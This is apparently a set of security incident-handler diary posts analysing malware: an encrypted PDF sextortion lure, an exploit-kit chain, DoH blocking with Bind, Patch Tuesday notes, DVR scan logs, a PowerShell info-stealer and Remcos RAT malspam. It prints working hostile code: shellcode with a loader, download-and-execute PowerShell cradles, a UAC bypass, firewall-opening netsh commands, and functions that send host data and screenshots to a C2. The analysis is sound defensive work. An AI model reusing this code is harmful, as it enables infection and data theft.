An unusual property of encrypted PDFs, is that their internal structure remains unencrypted. When a PDF file is encrypted (for confidentialy or DRM), the whole content of the PDF file is not encrypted. Contrary with other file formats, like Word documents. The internal structure, like objects and names, is not encrypted. What is encrypted, are strings and streams.

So for example, when a PDF document contains a JavaScript script, there will be an object with name /JavaScript in its dictionary (we exclude stream objects /ObjStm in this example). And the script itself will be contained inside a string as a dictionary value (again, in this example).

When this PDF is encrypted, the object with its dictionary keys (like /JavaScript) will remain in cleartext, while the string with the script will be encrypted.

Let's analyze a sample submitted by Jason with pdfid.py. Here is the result:

First of all, the counter for name (keyword) /Encrypt is not zero: this tells us that the PDF is encrypted.

Second, the counter for name /ObjStm is zero: this tells us that the PDF does not contain stream objects (/ObjStm). This is important to check when dealing with encrypted PDFs, as stream objects are objects that contain other objects inside their stream. And since streams are encrypted, the objects contained inside a stream object are completely encrypted, and thus totally opaque to us unless we decrypt the document.

All the other names have counters equal to zero: although this is no guarantee that the PDF is not malicious, it is often a strong indication that this PDF does not contain malicious code, unless this is not your common malware attack (like a targeted attack or a pure binary exploit for a zero-day).

So the next step to take, is to look at the content of this PDF. For this, we need the password (4534 for this sample, it was included in the email message) to open the document. While you can open this document with any PDF reader (best done inside a VM), I'm going to view the content with pdftotext, a free utility that comes with the open source software Poppler.

The user password 4534 is provided via option -upw.

It's clear that this is a sextortion message. It was delivered via an encrypted PDF in an attempt to evade detection.

Encrypted PDFs often pose a problem for anti-spam and anti-virus solutions, when they are not able to decrypt the content. My pdf tools have no decryption capabilities: I first use QPDF to decrypt PDFs for further analysis with my tools.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I detected the following suspicious traffic on a corporate network. It was based on multiples infection stages and looked interesting enough to publish a diary about it. This is also a good reminder that, just by surfing the web, you can spot malicious scripts that will try to infect your computer (Exploit Kits).

It started with a succession of HTTP redirects across multiple domains, all using the .xyz TLD. 

You can see that the servers are hosted behind Cloudflare. All domains are registered via the same registrar (NameCheap). If you visit manually the first URL, it redirects you to Google. I did not find what triggers the redirect: the language (es-ES), the user-agent? GeoIP? When I analyzed the websites visited by the victim, I'm not 100% confident about the website infected with the malicious URL (there was also a lack of HTTP Referer) but it looks to be openload[.]co, a file-sharing platform.

The script delivered by the last visited URL is written in VBScript. That’s why a first test is performed to ensure that it has been delivered to a proper target:

<script>
if (window.ActiveXObject || "ActiveXObject" in window){
...

The code is not complex to deobfuscate. It is just escaped:

Multiple infection stages are present. You can see a link to a malicious Flash file ("1.swf") (SHA256:498496827afc0aa5960d1cb1d60f7ae7699e0906e3a8c657b6864cff10772df0) with a VT score of 7/55[1]. This is a classic infection method for many exploit kits.

In the VBScript code, we have this very interesting function:

Function GetShellcode()
    TEMPCODE = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%u1de0%u0a2a%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u736d%u7468%u2061%u7468%u7074%u2f3a%u6a2f%u6965%u6174%u6163%u6576%u6f2e%u6772%u682f%u6174%u682e%u6174%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" & FNB(FNA("")))
    TEMPCODE = TEMPCODE & String(( & h80000 - LenB(TEMPCODE)) / 2, Unescape("%u4141"))
    GetShellcode = TEMPCOD
End Function

And how it is loaded and execute:

vb_adrr = LeakVBAddr()
vbs_base = GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")
krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")
ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")
VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")
NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr = GetMemValue() + 8
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
VirtualProtectAddrFake = GetMemValue() + 69596
SetMemValue ExpandWithVirtualProtect(VirtualProtectAddrFake)
ReuseCLASSl = GetMemValue()
ExecuteShellcode()

Another technique is tried to infect the computer via a Powershell script:

function runmumaa()
    On Error Resume Next
    set shell = createobject("Shell.Application")
    command = "-nop -windowstyle hidden -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxp://jeitacave[.]org/ps004.jpg')"
    shell.ShellExecute "powershell.exe", command, "", "", 0
end function

The file ‘pw004.jpg’ is another PowerShell script, decimal encoded:

& ( $SheLLID[1]+$shELlid[13]+'X') (" $( seT-iTEm  'VaRIABlE:ofS' '') " + [STrING]( ( 36, 77,117, 116 ,117, 97 ,108 ,69, 120, 99 , 108 ,117, 115 , 105 ,118, 101, 78 ,97 , 109, 101 ,32,61,32,39,71 , 108 ,111, 98 ,97 , 108,92,105,102 ,113 ,71, 112 ,84 , 122 , 100 ,84 ,122, 104 ,77, 74, 83 ,79, 122 , 39, 13 ,10 ,36, 77 , 117 ,116 ,117,97 , 108 , 83, 117 ,99 ,99, 101, 115, 115 ,102 ,117, 108 ,111 ,114 ,110,111,116,32, 61, 32 , 36 ,102,108 ,97, 115 ,101 ,13 , 10 , 36 , 77 , 117 , 116 , 101, 120 ,32, 61 , 32 , 78, 101 ,119 , 45 ,79 ,98 , 106 , 101, 99 , 116,32 ,83 , 121,115 , 116, 101,109,46, 84,104, 114, 101,97 , 100 , 105 , 110 
...

This script creates a MUTEX ('Global\ifqGpTzdTzhMJSOz’) and checks if it is being run with administrator privileges. If yes, it downloads and executes another payload (hxxp://jeitacave[.]org/4U22nOJHFdDmYcgCS.jpg). It’s a MSI file (SHA256:33d3568638a62c695823ef00bb0e4d5a717e86870457f6d7ab044eea4a455314) unknown on VT.

public static class msi {
    [DllImport("msi.dll", CharSet=CharSet.Auto)]
    public static extern int MsiInstallProduct(string packagePath, string commandLine);
    [DllImport("msi.dll")]
     public static extern int MsiSetInternalUI(int dwUILevel, IntPtr phWnd);
}
"@
[msi]::MsiSetInternalUI(2,0);
[msi]::MsiInstallProduct("hxxp://jeitacave[.]org/4U22nOJHFdDmYcgCS.jpg",”")

Otherwise, it tries to elevate its privileges via the classic EventViewer technique[2]:

[String]$program = "cmd /c reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 00000001 /f&reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 00000001 /f"
New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value $program -Force
Start-Process "C:\Windows\System32\Eventvwr.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

Once executed, the MSI package is installed via msiexec.exe and performs interesting actions: It disables WindowsDefender and alters the local firewall by allowing many incoming connections to well-known ports:

"C:\Windows\System32\netsh.exe" ipsec static add policy name=qianye
"C:\Windows\System32\netsh.exe" ipsec static add filterlist name=Filter1
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=21 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=2222 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=3333 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=4444 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=5555 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=6666 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=7777 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=8443 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=8888 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=9000 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=9999 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=14443 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=14444 protocol=TCP

The latest Powershell script also spawns a csc.exe[3] compiler: 

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\yboqji-z.cmdline"

I'm still checking all the scripts and techniques used. Based on my threat feeds, the domain jeitacave[.]org has already been associated with the Rig[4] exploit kit.

[1] https://www.virustotal.com/gui/file/498496827afc0aa5960d1cb1d60f7ae7699e0906e3a8c657b6864cff10772df0/detection
[2] https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/
[3] https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe
[4] https://blog.malwarebytes.com/threat-analysis/2019/05/exploit-kits-spring-2019-review/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

For a few days, huge debates have started on forums and mailing lists regarding the announce of Mozilla to enable DoH (DNS over HTTPS[1]) by default in its Firefox browser. Since this announcement, Google also scheduled a move to this technology with the upcoming Chrome releases (this has been covered in today’s podcast episode). My goal is not here to start a new debate. DoH has definitively good points regarding privacy but the problem is always the way it is implemented. In corporate environments, security teams will for sure try to avoid the use of DoH for logging reasons (DNS logs are a gold mine in incident management and forensics).

Amongst the classic reconfiguration of the browser, Firefox implemented a technique to detect if DoH can or can't be used: by querying a specific domain: “use-application-dns.net”. Firefox will generate ‘A’ and ‘AAAA’ requests to this domain (using the DNS servers provided by the OS) and if ’NXDOMAIN’ is returned, it won’t use DoH.

This morning, a DNS request to resolve this domain returned the following data on my network:

$ dig use-application-dns.net a

; <<>> DiG 9.11.3-1ubuntu1.8-Ubuntu <<>> use-application-dns.net a
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32217
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 5

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;use-application-dns.net.    IN    A

;; ANSWER SECTION:
use-application-dns.net. 3600    IN    A    185.199.110.153
use-application-dns.net. 3600    IN    A    185.199.111.153
use-application-dns.net. 3600    IN    A    185.199.108.153
use-application-dns.net. 3600    IN    A    185.199.109.153

;; AUTHORITY SECTION:
use-application-dns.net. 172800    IN    NS    ns-cloud-b2.googledomains.com.
use-application-dns.net. 172800    IN    NS    ns-cloud-b4.googledomains.com.
use-application-dns.net. 172800    IN    NS    ns-cloud-b1.googledomains.com.
use-application-dns.net. 172800    IN    NS    ns-cloud-b3.googledomains.com.

;; ADDITIONAL SECTION:
ns-cloud-b1.googledomains.com. 291436 IN A    216.239.32.107
ns-cloud-b2.googledomains.com. 291436 IN A    216.239.34.107
ns-cloud-b3.googledomains.com. 291436 IN A    216.239.36.107
ns-cloud-b4.googledomains.com. 291436 IN A    216.239.38.107

;; Query time: 1252 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Thu Sep 12 07:26:47 CEST 2019
;; MSG SIZE  rcvd: 301

Now, let’s see how to configure a Bind resolver (which is a well-know DNS server) to return ’NXDOMAIN’ when this domain is attempted to be resolved. The idea is to use RPZ (Response Policy Zones)[2]. I already covered this technique in a previous diary[3]. Here is a simple config for Bind:

Step 1, create a small zone file that will contain the domain we don’t want to resolve:

$TTL 300
@               SOA localhost. root.localhost (2019091200 2h 30m 30d 1h)
                NS localhost.

; The following list of IP addresses will timeout.
use-application-dns.net         CNAME   .

Step 2, define this zone as a master one:

zone "doh.rpz" {
    type master;
    file "/etc/bind/doh.rpz";
};

Step 3, use the RPZ master zone and apply the policy:

response-policy {
    zone "doh.rpz" policy nxdomain;
};

Note: If more domains will be used for the same purpose in the future, we just have to add them in the zone.

Reload your bind and let’s test:

$ dig use-application-dns.net a

; <<>> DiG 9.11.3-1ubuntu1.8-Ubuntu <<>> use-application-dns.net a
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 64852
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 728a8c24b984dab8ba5bd2e25d79e8688e337db42aba470d (good)
;; QUESTION SECTION:
;use-application-dns.net.       IN      A

;; ADDITIONAL SECTION:
doh.rpz.                300     IN      SOA     localhost. root.localhost.doh.rpz. 2019091200 7200 1800 2592000 3600

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Thu Sep 12 06:40:40 UTC 2019
;; MSG SIZE  rcvd: 147

Sounds good! Let’s confirm with a tcpdump:

06:41:52.817392 IP (tos 0x0, ttl 64, id 38080, offset 0, flags [none], proto UDP (17), length 175)
    localhost.domain > localhost.35517: [bad udp cksum 0xfeae -> 0x2dad!] 52578 NXDomain q: A? use-application-dns.net. 0/0/2 ar: doh.rpz. SOA localhost. root.localhost.doh.rpz. 2019091200 7200 1800 2592000 3600, . OPT UDPsize=4096 (147)

Bonus: By checking your resolver logs, you’ll be able to detect the users who are using Firefox with DoH enabled on your network.

[1] https://en.wikipedia.org/wiki/DNS_over_HTTPS
[2] https://dnsrpz.info/
[3] https://isc.sans.edu/forums/diary/DNS+Firewalling+with+MISP/24556

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This month we got patches for 79 vulnerabilities total. Two of them (CVE-2019-1214 and CVE-2019-1215) are being exploited, and three were previously disclosed (CVE-2019-1253, CVE-2019-1235, and CVE-2019-1294). 

The exploited vulnerabilities (CVE-2019-1214 and CVE-2019-1215) affects Windows Common Log File System (CLFS) driver and ws2ifsl.sys (Winsock), respectively. Both are privilege escalation vulnerabilities and may allow a local attacker to run processes in elevated privileges.

Amongst critical vulnerabilities, it's worth mentioning the LNK Remote Code Execution Vulnerability (CVE-2019-1280). It could allow remote code execution if an .LNK file is processed. An attacker may exploit this vulnerability by presenting the user a removable drive or a remote share containing a malicious.LNK file associated with a malicious binary. Once the user opens the drive (removable or shared), the malicious binary will execute on the user's system. Notice that the user doesn't need to execute the LNK file. It is enough to have the malicious .LNK parsed by Windows Explorer or any other application that parses .LNK files.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Total Vulnerabilities: 79

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Over the two weeks, my honeypot has captured a new scan. According for the URL targeted and some research, this might be used to identify Dahua[1] or HiSilicon[2] digital video recorder (DVR) product. So for I have only seen this activity against port 80 and the scans for this activity looks like this:

20190907-090937: 192.168.25.9:80-XXX.190.6.228:48968 data 'GET ../../mnt/custom/ProductDefinition HTTP\r\n\r\n'
20190907-093912: 192.168.25.9:80-XXX.188.126.243:36847 data 'GET ../../mnt/custom/ProductDefinition HTTP\r\n\r\n'
20190907-094441: 192.168.25.9:80-XXX.189.237.44:44343 data 'GET ../../mnt/custom/ProductDefinition HTTP\r\n\r\n'
20190907-100443: 192.168.25.9:80-XXX.188.40.103:35067 data 'GET ../../mnt/custom/ProductDefinition HTTP\r\n\r\n'
20190907-115225: 192.168.25.9:80-XXX.177.116.123:40904 data 'GET ../../mnt/custom/ProductDefinition HTTP\r\n\r\n'
20190907-115630: 192.168.25.9:80-XX.186.174.54:57636 data 'GET ../../mnt/custom/ProductDefinition HTTP\r\n\r\n'
20190907-122646: 192.168.25.9:80-XXX.189.27.141:38624 data 'GET ../../mnt/custom/ProductDefinition HTTP\r\n\r\n'

If you are seeing this kind of activity and are able to help identify the product targeted or confirm it is one of the 2 I listed, leave a comment on our page. I did find an exploit against HiSilicon DVR released last year searching for the same URL[3].

Update 1

I received the following update via Twitter:

GreyNoise Intelligence (@GreyNoiselO) has observed a very large spike in compromised Mirai-infected devices around the Internet bruteforcing DVR/IP camera devices using the NETsurveillance ActiveX plugin. This activity is originating from roughly 7% of total Mirai infects tracked by GreyNoise.

@MasafumiNegishi has observed the following port being scanned for the same activity: TCP: 80, 81, 82, 83, 85, 88, 8000, 8080, 8081, 9090 and being another moobot variant has been scanning Hisilicon DVR device on 80/tcp since August 29. Both moobot variants share same C2.

[1] https://www.dahuasecurity.com/
[2] http://www.hisilicon.com
[3] https://www.exploit-db.com/exploits/44004

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Attackers are always trying to bypass antivirus detection by using new techniques to obfuscate their code. I recently found a bunch of scripts that encode part of their code in Base64. The code is decoded at execution time and processed via the 'IEX' command:

iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("...Base64-data...")

Another technique used by malware developers is to inject a malicious DLL into a running process. Yes, Powershell can do awesome stuff. Yesterday, I spotted a script that hides its malicious code split in the two techniques. One part of the code is Base64 encode but some functions are directly called from a DLL loaded at run time.

First, the code is uncompressed and decoded, then loaded into the Powershell process:

Once the DLL is loaded, it's now possible to call all functions provided by the library. This is achieved by referencing the custom type and the method ("[custom.type]::method()"):

[QE7K9ZJvi46.QE7K9ZJvi46]::p9Dq()

You can find all the functions in the DLL using your favourite disassembler:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             void p9Dq-57-8272()
             void              <VOID>         <RETURN>
                             p9Dq-57-8272
        0040205c 28 06           SUB        byte ptr [ESI],AL
        0040205e 00 00           ADD        byte ptr [EAX],AL
        00402060 0a 6f 07        OR         CH,byte ptr [EDI + 0x7]
        00402063 00 00           ADD        byte ptr [EAX],AL
        00402065 0a 0a           OR         CL,byte ptr [EDX]
        00402067 28 08           SUB        byte ptr [EAX],CL
        00402069 00 00           ADD        byte ptr [EAX],AL
        0040206b 0a 6f 09        OR         CH,byte ptr [EDI + 0x9]
        0040206e 00 00           ADD        byte ptr [EAX],AL
        00402070 0a 6f 0a        OR         CH,byte ptr [EDI + 0xa]
        00402073 00 00           ADD        byte ptr [EAX],AL
        00402075 0a 17           OR         DL,byte ptr [EDI]
        00402077 8d 0e           LEA        ECX,[ESI]
        00402079 00 00           ADD        byte ptr [EAX],AL
        0040207b 01 13           ADD        dword ptr [EBX],EDX
        0040207d 04 11           ADD        AL,0x11
        0040207f 04 16           ADD        AL,0x16
        00402081 1f              POP        DS
        00402082 2d 9d 11        SUB        EAX,0x6f04119d
                 04 6f
        00402087 0b 00           OR         EAX,dword ptr [EAX]

What does the malware do? First, it collects information about the infected host:

function kvhLZVVHv40()
{
    if ((((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN))
    {
        $HmHCMAj1gp = "DOMAIN: NO`n`n"
    } else { $HmHCMAj1gp = "DOMAIN: YES`n`n"}
    $HmHCMAj1gp += "SYSTEMINFO:`n`n" + ((systeminfo) -join "`n")
    $HmHCMAj1gp += "`n`nIPCONFIG:`n`n" + ((ipconfig /all) -join "`n")
    $HmHCMAj1gp += "`n`nNETSTAT:`n`n" + ((netstat -f) -join "`n")
    $HmHCMAj1gp += "`n`nNETVIEW:`n`n" + ((net view) -join "`n")
    $HmHCMAj1gp += "`n`nTASKLIST:`n`n" + ((tasklist) -join "`n")
    $HmHCMAj1gp += "`n`nWHOAMI:`n`n" + ((whoami) -join "`n")
    $HmHCMAj1gp += "`n`nUSERNAME:`n`n" + ((net user $env:username /domain) -join "`n")
    $HmHCMAj1gp += "`n`nDOMAIN ADMINS:`n`n" + ((net group "domain admins" /domain ) -join "`n")
    $HmHCMAj1gp += "`n`nDESKTOP:`n`n" + (Get-ChildItem ([environment]::getfolderpath("desktop")) | Out-String)
    $HmHCMAj1gp += "`n`nAV:`n`n" + (Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct").displayName
    $V6VCS = [System.Text.Encoding]::UTF8.GetBytes($HmHCMAj1gp)
    PMQty 0 $V6VCS
}

Collected data are sent to a C2:

function PMQty([int]$Wg94, [byte[]]$V6VCS)
{
    $sdo7g = "https://$F36ui/" + [QE7K9ZJvi46.QE7K9ZJvi46]::EA2gkql9ya($Wg94, 0, $true)
    $hwv80v = [QE7K9ZJvi46.QE7K9ZJvi46]::BPizrD($V6VCS)
    (New-Object System.Net.WebClient).UploadData($sdo7g, $hwv80v)
}

The C2 is contacted via a Base64-encoded IP address and the DLL function EA2gkql9ya() generates random URI like:

hxxps://23[.]227[.]193[.]48/ddqxyg/g1/cbahpbp1y/im/g/asg/3izld2/2s5kq5xexs4h5mwc/xr51fqv2p/4zm/e.jpg

Using the same technique, the malware exfiltrates the content of the following registry keys (related to different versions of Outlook):

• hkcu:\Software\Microsoft\Office\16.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*
• hkcu:\Software\Microsoft\Office\15.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*
• hkcu:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\*

What could be also interesting? A screen capture of the desktop! Here is the function which performs the screenshot:

function cY0yMOo7U3()
{
    Add-Type -Assembly System.Windows.Forms
    $Ze8Fpb5KC = [Windows.Forms.SystemInformation]::VirtualScreen
    $Rpmv5HB = New-Object Drawing.Bitmap $Ze8Fpb5KC.Width, $Ze8Fpb5KC.Height
    $ntkkayAduow = [Drawing.Graphics]::FromImage($Rpmv5HB)
    $ntkkayAduow.CopyFromScreen($Ze8Fpb5KC.Location, [Drawing.Point]::Empty, $Ze8Fpb5KC.Size)
    $ntkkayAduow.Dispose()
    $UkzcuaUqgj = New-Object System.IO.MemoryStream
    $noFMcdA6cKj=40
    $hwv80voderParams = New-Object System.Drawing.Imaging.EncoderParameters
    $hwv80voderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $noFMcdA6cKj)
    $OmDwFp = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq "JPEG" }
    $Rpmv5HB.save($UkzcuaUqgj, $OmDwFp, $hwv80voderParams)
    $Rpmv5HB.Dispose()
    $V6VCS = [convert]::ToBase64String($UkzcuaUqgj.ToArray())
    $V6VCS = [System.Text.Encoding]::ASCII.GetBytes($V6VCS)
    PMQty 2 $V6VCS
}

Once initial data have been exfiltrated, the malware enters a loop. It queries the C2 at random interval:

Start-Sleep -s (Get-Random -Input @(200..260))

Depending on the C2 answer, the malware performs the following tasks:

• Execute the provided PowerShell code and send results back (remote code execution)
• Dump a DLL on disk with a random name
• Dump a PE on disk with a random name and executes it

Unfortunately, the C2 is down at the moment, so I can't grab the DLL/PE files.

The script (SHA256:9d315c1ba1d6a10c06fe0b7d12a31ec519b973403ccf01fb36584ce9750e1d6b) has a very low VT score (3/57)[1].
The DLL (SHA256:18580a1789d26c123f3c41fe23f2085de7650a177fdb2623704b748de4403bf3) has a score of 6/71[2].

[1] https://www.virustotal.com/gui/file/9d315c1ba1d6a10c06fe0b7d12a31ec519b973403ccf01fb36584ce9750e1d6b/detection
[2] https://www.virustotal.com/gui/file/18580a1789d26c123f3c41fe23f2085de7650a177fdb2623704b748de4403bf3/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I'm looking for some samples on VT that contains URLs with private or non-routable IP addresses (RFC1918)[1]. I found one recently and it made me curious. Why would a malware try to connect to a non-routable IP address?

Here is an example of a macro found in a suspicious Word document (SHA256: c5226e407403b37d36e306f644c3b8fde50c085e273c897ff3f36a23ca0f1c6a)[2]: 

Sub AutoOpen()
'
' test Macro
'
'
x = URLDownloadToFileA(0, "http://10.200.235.200:/loader.dll", Environ("TEMP") & "\loader.dll", 0, 0)

End Sub

This one seems to be ongoing development and does not look too dangerous. But, wait, the use of VirusTotal can be very sensitive depending on your context and submitting files to VirusTotal must be performed carefully. If you are a Blue-teamer, uploading a sample might ring a bell at the attacker and let him know that you're looking at him. If you're a Red-teamer, uploading your self-made sample might help AV vendors to improve their detection mechanisms.

Here is another one found in another document with a higher VT score (22/57)[3]

Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
    strCommand = "powershell iex (New-Object Net.WebClient).DownloadString('http://172.16.17.22/PowerUpDev.ps1')"
    Set WshShell = CreateObject("WScript.Shell")
    Set WshShellExec = WshShell.Exec(strCommand)
    strOutput = WshShellExec.StdOut.ReadAll
    MsgBox strOutput
End Sub

Besides classic macros, I found also a lot of DLL's and DEX files (Dalvik Executable from Android applications) that contains URLs with RFC1918 IP addresses.  I think that most of them are samples still being tested/developed.

[1] https://tools.ietf.org/html/rfc1918
[2] https://www.virustotal.com/gui/file/c5226e407403b37d36e306f644c3b8fde50c085e273c897ff3f36a23ca0f1c6a/detection
[3] https://www.virustotal.com/gui/file/cdd3bdced038414f84c318fdc4b2e6573e99900fb792dd417869721cc7975b84/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Malicious spam (malspam) using attached password-protected Word documents to evade detection is nothing new.  I've documented it as early as March 2017, and this style of malware distribution started years before then.  This particular campaign has pushed a variety of malware, including IcedID (Bokbot), various types of ransomware, and Nymaim.  This diary from 2018 has a list of different types of malware seen from this campaign during that year.

At times, this resume-themed malspam can disappear for several weeks, but I always see it return.  This most recent wave began as early as Wednesday 2019-08-28.  When I checked on Tuesday 2019-09-03, this infection chain pushed Remcos RAT.

Today's diary reviews characteristics of this infection chain.

Malspam

Recent malspam looks similar to a diary I wrote in March 2019 and a blog I posted almost two months later in May.  This time, the sending addresses were all probably spoofed, and they all end with @t-online.de.  Attachment names all end with resume.doc.  I've pasted the dates, times, sending addresses, subject lines, and attachment names here.

Shown above:  Dates, times, senders, subject lines, and attachment names for recent malspam from this campaign.

I was not able to find an example of the malspam from this most recent wave of emails; however, the image below shows what these emails typically look like.

Shown above:  What this malspam typically looks like.

Attached Word documents

The attached Word documents use 123 as the password.  These Word documents have macros, and the visual template looks remarkably similar to previous examples I've reviewed.

Shown above:  Recent example of an attached Word document from this malspam campaign.  The password is 123

Shown above:  The Word document after it is unlocked by the password.

Infection traffic

Infection traffic was similar to what I've seen before from this campaign.  First was an HTTP request that returned a Windows executable file.  In this case, the initial URL ended in .jpg.  This was followed by post-infection traffic over TCP ports 2404 and 2405.  When I ran the same Word document through an Any.Run sandbox, it also generated two DNS queries not seen during my infection traffic.

Shown above:  Traffic from an infection in my lab, filtered in Wireshark.

Shown above:  The initial HTTP request returned a Windows executable file.

Shown above:  Post-infection traffic generated by Remcos RAT (1 of 2).

Shown above:  Post-infection traffic generated by Remcos RAT (2 of 2).

Shown above:  Traffic caused by running the Word document in the Any.Run sandbox (link).

Forensics on the infected Windows host

The initial Windows executable (EXE) file was saved to the user's AppData\Local\Temp directory.  It generated an EXE that was slightly over 400 MB, which kept Remcos RAT persistent on the infected Windows host.  This Remcos RAT sample also updated the Windows registry to stay persistent after a reboot.

Shown above:  Windows executable files associated with this Remcos RAT infection.

Shown above:  Remcos RAT persistent on the infected Windows host.

Shown above:  Windows registry updates caused by this Remcos RAT sample.

Indicators of Compromise (IoCs)

Infection traffic:

• 104.244.74[.]243 port 80 - 104.244.74[.]243 - GET /pine.jpg
• 37.19.193[.]217 port 2404 - encoded TCP traffic caused by Remcos RAT
• 37.19.193[.]217 port 2405 - encoded TCP traffic caused by Remcos RAT
